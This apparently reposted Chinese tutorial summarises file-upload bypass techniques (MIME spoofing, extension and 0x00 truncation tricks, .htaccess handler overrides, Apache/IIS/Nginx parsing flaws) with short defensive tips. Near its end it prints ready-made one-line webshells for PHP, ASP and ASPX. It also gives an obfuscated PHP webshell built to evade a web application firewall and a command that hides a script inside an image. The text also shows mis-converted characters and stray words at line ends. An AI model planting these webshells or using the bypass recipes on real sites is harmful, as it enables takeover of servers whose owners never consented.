【文件上傳/解析技巧拓展】————四、文件上傳總結

概述

Web站點通常會有用戶註冊的功能,當用戶註冊以後,大多數狀況下都會存在相似頭像上傳等個性化的設置,這些功能點每每存在上傳驗證方式不嚴格的安全缺陷,這些安全缺陷在Web滲透中是很是關鍵的突破口,只要通過仔細測試分析上傳驗證機制,每每就能找到繞過驗證的方法,進而上傳惡意代碼獲取整個Web業務控制權,複雜一點的狀況是配合 Web Server的解析漏洞來獲取控制權。php

上傳檢測流程

一般一個文件以HTTP協議進行上傳時,將以POST請求發送至Web服務器,Web服務器接收到請求並贊成後,用戶與Web服務器將創建鏈接,並傳輸數據。通常文件上傳過程當中將會通過以下幾個檢測步驟:html

  • 客戶端JavaScript檢測 (一般爲檢測文件擴展名)
  • 服務端MIME類型檢測 (檢測Content-Type內容)
  • 服務端目錄路徑檢測 (檢測跟Path參數相關的內容)
  • 服務端文件擴展名檢測 (檢測跟文件extension相關的內容)
  • 服務端文件內容檢測 (檢測內容是否合法或含有惡意代碼)

繞過方法

客戶端檢測(JavaScript檢測)

這類檢測,一般是在上傳頁面裏含有專門檢測文件上傳的JavaScript代碼,最多見的就是檢測擴展名是否合法,示例代碼以下:前端

function check()
{
  var filename = document.getElementById("file");
  var str = filename.value.split(".");
  var ext = str[str.length-1];
  if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
  {
    return true;
  }
  else
  {
    alert("僅容許上傳png/jpeg/gif類型的文件!")
    return false;
  }
  return false;
}

判斷該類檢測的方法:選擇一個禁止上傳類型的文件上傳,當點擊肯定按鈕以後,瀏覽器當即彈窗提示禁止上傳,通常就能夠判定爲客戶端JavaScript檢測,進一步肯定能夠經過配置瀏覽器HTTP代理(沒有流量通過代理就能夠證實是客戶端JavaScript檢測)。web

繞過方法shell

  • 上傳頁面,審查元素,修改JavaScript檢測函數;
  • 將須要上傳的惡意代碼文件類型改成容許上傳的類型,例如將dama.asp改成dama.jpg上傳,配置Burp Suite代理進行抓包,而後再將文件名dama.jpg改成dama.asp。
  • 上傳webshell.jpg.jsp,可能前端程序檢查後綴時,從前面開始檢查。

服務端MIME類型檢測

服務器端檢測文件MIME類型可能的代碼以下:瀏覽器

<?php
  if($_FILES['userfile']['type']!="image/gif")
  {//檢測Content-type
    echo"Sorry,weonlyallowuploadingGIFimages";
	exit;
  }
  $uploaddir='uploads/';
  $uploadfile=$uploaddir.basename($_FILES['userfile']['name']);
  if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
  {
    echo"Fileisvalid,andwassuccessfullyuploaded.\n";
  }
  else
  {
    echo"Fileuploadingfailed.\n";
  }
?>

繞過方法安全

  • 配置Burp Suite代理進行抓包,將Content-Type修改成image/gif,或者其餘容許的類型。

服務端目錄路徑檢測

上傳的數據包中,若是存在path(或者其餘名稱)等可以操做上傳路徑的參數,修改該參數配合解析漏洞Get Webshell,該方法通常asp系統用比較多。
例如path參數爲以下「upfile/」,能夠嘗試修改成「upfile.asp/」或者「upfile/1.asp/」或者「upfile/1.asp;.」,注意觀察返回的文件名。返回的文件名可能爲:upfile/1.asp;.201704117886.jpg,知足IIS6.0解析漏洞。服務器

服務端文件擴展名檢測

黑名單檢測
黑名單的安全性比白名單低不少,服務器端,通常會有個專門的blacklist文件,裏面會包含常見的危險腳本文件類型,例如app

html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh等等。jsp

白名單檢測

僅容許指定的文件類型上傳,好比僅容許上傳jpg | gif | doc | pdf等類型的文件,其餘文件所有禁止。

繞過方法

  • 文件名大小寫繞過:
    使用Asp、PhP之類的文件名繞過黑名單檢測
  • 名單列表繞過:
    用黑名單裏沒有的名單進行攻擊,好比很名單中沒有的asa或者cer之類
  • 特殊文件名繞過:
    好比在發送的HTTP包中,將文件名改成」dama.asp.」或者」dama.asp_」(下劃線爲空格),這種命名方式在window系統裏是不被容許的,因此須要在Burp Suite中抓包修改,上傳以後,文件名會被window自動去掉後面的點或者空格,須要注意此種方法僅對window有效,Unix/Linux系統沒有這個特性。
  • 0x00截斷繞過:

     僞代碼以下:

Name = getname(http requests)//假如這一步獲取到的文件名是dama.asp .jpg
Type = gettype(name)//而在該函數中,是從後往前掃描文件擴展名,因此判斷爲jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在這裏倒是以0x00做爲文件名截斷,最後以dama.asp存入路徑裏
  • 操做方法:上傳dama.jpg,Burp抓包,將文件名改成dama.php%00.jpg,選中%00,進行url-decode。

  • 上傳.htaccess文件攻擊:(適用於黑名單檢測方式,黑名單中未限制.htaccess)。該文件僅在Apache平臺上存在,IIS平臺上不存在該文件,該文件默認開啓,啓用和關閉在httpd.conf文件中配置。該文件的寫法以下:
<FilesMatch "_php.gif">
   SetHandler application/x-httpd-php
</FilesMatch>
  • 保存爲.htaccess文件。該文件的意思是,只要遇到文件名中包含有」_php.gif」字符串的,統一按照php文件來執行。該文件在Apache裏默認是啓用的,若是沒啓用,啓用方法見:http://www.jb51.net/article/25476.htm 而後就能夠上傳一個帶一句話木馬的文件,例如a_php.gif,會被當成php執行。該方法其實不是漏洞,是Apache的特性。該方法經常使用於黑客入侵網站以後,不想被發現,留一個隱蔽的後門。在PHP手冊中提到一句話,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服務器端若是採用了黑名單的形式限制上傳,可是黑名單中卻沒有.htaccess文件,那麼咱們能夠上傳.htaccess文件覆蓋掉原來的文件。

  • 解析漏洞繞過
    直接上傳一個注入過惡意代碼的非黑名單文件便可,再利用解析漏洞利用。

服務端文件內容檢測

若是文件內容檢測設置的比較嚴格,那麼上傳攻擊將變得很是困難。以最多見的圖片類型內容檢測舉例。

  • 文件幻數檢測:
    JPG : FF D8 FF E0 00 10 4A 46 49 46
    GIF : 47 49 46 38 39 61 (GIF89a)
    PNG: 89 50 4E 47
    繞過方法
    在文件幻數後面加上本身的一句話木馬就好了。
  • 文件相關信息檢測:
    通常就是檢查圖片文件的大小,圖片文件的尺寸之類的信息。
    繞過方法
    僞造好文件幻數,在後面添加一句話木馬以後,再添加一些其餘的內容,增大文件的大小。
  • 文件加載檢測:
    這個是最變態的檢測,通常是調用API或者函數去進行文件加載測試,常見的是圖像渲染測試,再變態一點的甚至是進行二次渲染。
    繞過方法
    針對渲染加載測試:代碼注入繞過
    針對二次渲染測試:攻擊文件加載器

一般,對於文件內容檢查的繞過,就是直接用一個結構完整的文件進行惡意代碼注入便可。

Web Server解析漏洞

Apache解析漏洞

一個文件名爲xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache會從x3的位置往x1的位置開始嘗試解析,若是x3不屬於Apache能解析的擴展名,那麼Apache會嘗試去解析x2的位置,這樣一直往前嘗試,直到遇到一個能解析的擴展名爲止。

  • WampServer2.0AllVersion(WampServer2.0i/Apache2.2.11)
  • WampServer2.1AllVersion(WampServer2.1e-x32/Apache2.2.17)
  • Wamp5AllVersion(Wamp5_1.7.4/Apache2.2.6)
  • AppServ2.4AllVersion(AppServ-2.4.9/Apache2.0.59)
  • AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
  • AppServ2.6AllVersion(AppServ-2.6.0/Apache2.2.8)

以上集成環境都存在擴展名解析順序漏洞,而且這些環境都存在對php3文件按照php來解析這個小洞。該方法針對黑名單不全時,可以繞過。
總結存在該漏洞的Apache版本:

Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17

IIS解析漏洞

IIS6.0

a.文件類型
  正常:www.xxx.com/logo.jpg
  觸發漏洞:www.xxx.com/logo.asp;.jpg
按照Ⅰ來訪問logo.jpg,文件會被當成是jpg圖片來解析,想辦法,可以按照Ⅱ來訪問logo.jpg,文件就會被當成asp文件來處理。(若是IIS支持PHP,那麼logo.php;.jpg也會被當成PHP文件執行)   
b.文件夾類型
正常:www.xxx.com/image/logo.jpg
觸發漏洞:www.xxx.com/image.asp/logo.jpg
按照Ⅰ來訪問logo.jpg,文件會被當成是jpg圖片來解析,想辦法,可以按照Ⅱ來訪問logo.jpg,文件就會被當成asp文件來處理。(若是IIS支持PHP,那麼image.php文件夾下的文件也會被當作PHP文件解析。)

IIS7.0以上

IIS7.0/7.5是對php解析時有一個相似於Nginx的解析漏洞,對任意文件名只要在URL後面追加上字符串」/任意文件名.php」就會按照php的方式去解析。(例如:webshell.jpg/x.php)

IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)

IIS的解析漏洞不像Apache那麼模糊,針對IIS6.0,只要文件名不被重命名基本都能搞定。這裏要注意一點,對於」任意文件名/任意文件名.php」這個漏洞實際上是出現自php-cgi 的漏洞, 因此其實跟IIS自身是無關的。

Nginx解析漏洞

目前Nginx主要有這兩種漏洞:
a.一個是對任意文件名,在後面添加」/任意文件名.php」的解析漏洞,好比本來文件名是test.jpg,能夠添加爲test.jpg/x.php進行解析攻擊。
b.低版本的Nginx能夠在任意文件名後面添加%00.php進行解析攻擊。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8.
 <= 0.8.37
對於」任意文件名/任意文件名.php」這個漏洞實際上是出現自php-cgi的漏洞,因此其實跟Nginx自身是無關的。

總結

從攻擊者的角度來給上傳分類:

輕量級檢測繞過
   a.繞過前端JavaScript檢測:使用Burp抓包改包。
   b.繞過服務器端MIME類型檢測:使用Burp抓包改包。

路徑/文件擴展名檢測繞過
  a.黑名單檢測方式
          文件名大小寫繞過;
          名單列表繞過;
          特殊文件名繞過;
          0x00截斷繞過;
         .htaccess文件攻擊;
          本地文件包含漏洞;
           Apache解析漏洞;
           IIS解析漏洞;
          Nginx解析漏洞;
    b.白名單檢測方式
           0x00截斷繞過;
           本地文件包含漏洞;
           Apache解析漏洞;
           IIS解析漏洞;
           Nginx解析漏洞;

文件上傳防護

  • 輕量級檢測必然能繞過
  • 檢測的重點放在文件內容檢測
  • 路徑/擴展名檢測必定要用白名單
  • 不能有本地文件包含漏洞
  • 隨時注意更新Web應用軟件

一句話木馬

php  :  <?php @eval($_POST[‘lzx’]);?>
     :  <?php  $a = "a"."s"."s"."e"."r"."t";$a($_POST[cc]);?>
asp  :  <% eval request(「lzx」)%>
aspx :  <%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>

php過狗一句話:

<?php 
  $mt="JF9QT1N"; 
  $ojj="QGV2YWwo";
  $hsa="UWydpMGle";
  $fnx="5BeSleleddKTs=";
  $zk = str_replace("d","","sdtdrd_redpdldadcde");
  $ef = $zk("z", "", "zbazsze64_zdzeczodze");  
  $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");                                           
  $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
  $zvm(); 
?>

分析:

$zk = "str_replace";
$ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
    = str_replace("z", "", "zbazsze64_zdzeczodze") 
    = "base64_decode"
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
     = str_replace("p","","pcprpepaptpe_fpupnpcptpipopn") 
     = "create_function"
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
	 = create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))) 
	 = create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx))) 
	 = create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=)))
     = create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs="))
     = create_function('', "@eval($_POST['i0nAy']);")

過狗一句話總結爲:打亂字符;編碼技術;拆分組合;建立,匹配。

圖片木馬製做

命令:

copy /b 1.jpg+2.php

文件上傳防護

1.關掉上傳文件的功能
若是Web應用程序不須要上傳文件的功能,則能夠直接將上傳文件的功能關閉來避免沒必要要的麻煩。打開「php.ini」文件,找到file uploads的位置,將file_uploads設置成Off。
2.限制可以上傳的文件大小
若是黑客採起接二連三地上傳文件,或是上傳極大的文件,來使Web應用程序沒有更多資源來處理其餘來訪者的請求,黑客就能夠藉此來癱瘓網站。PHP的限制機制可讓您限制容許上傳文件體積的最大值,來避免來訪者上傳太大的文件。單獨POST請求的最大值,可使用php.ini文件的upload_max_size來設置。打開「php.ini」文件,找到upload_max_size的位置,將upload_max_size設置成想要的值。
3.檢查上傳文件的類型
4.檢查上傳文件的內容

5.上傳的文件不要保存在公開的文件夾內,以免被黑客直接讀取。另外將文件的路徑隱藏起來,或是將文件名稱改爲沒有擴展名的隨機文件名,均可以增長上傳文件的安全性。

經常使用測試方法

1.上傳jpg文件,抓包修改文件類型爲腳本格式(asp、aspx、php、jsp等)。 2.有些應用檢測上傳文件類型時,經過文件名中的第一個‘.’來分割文件後綴名,因此能夠嘗試上傳xxx.jpg.php(asp、aspx、jsp等)。

相關文章
相關標籤/搜索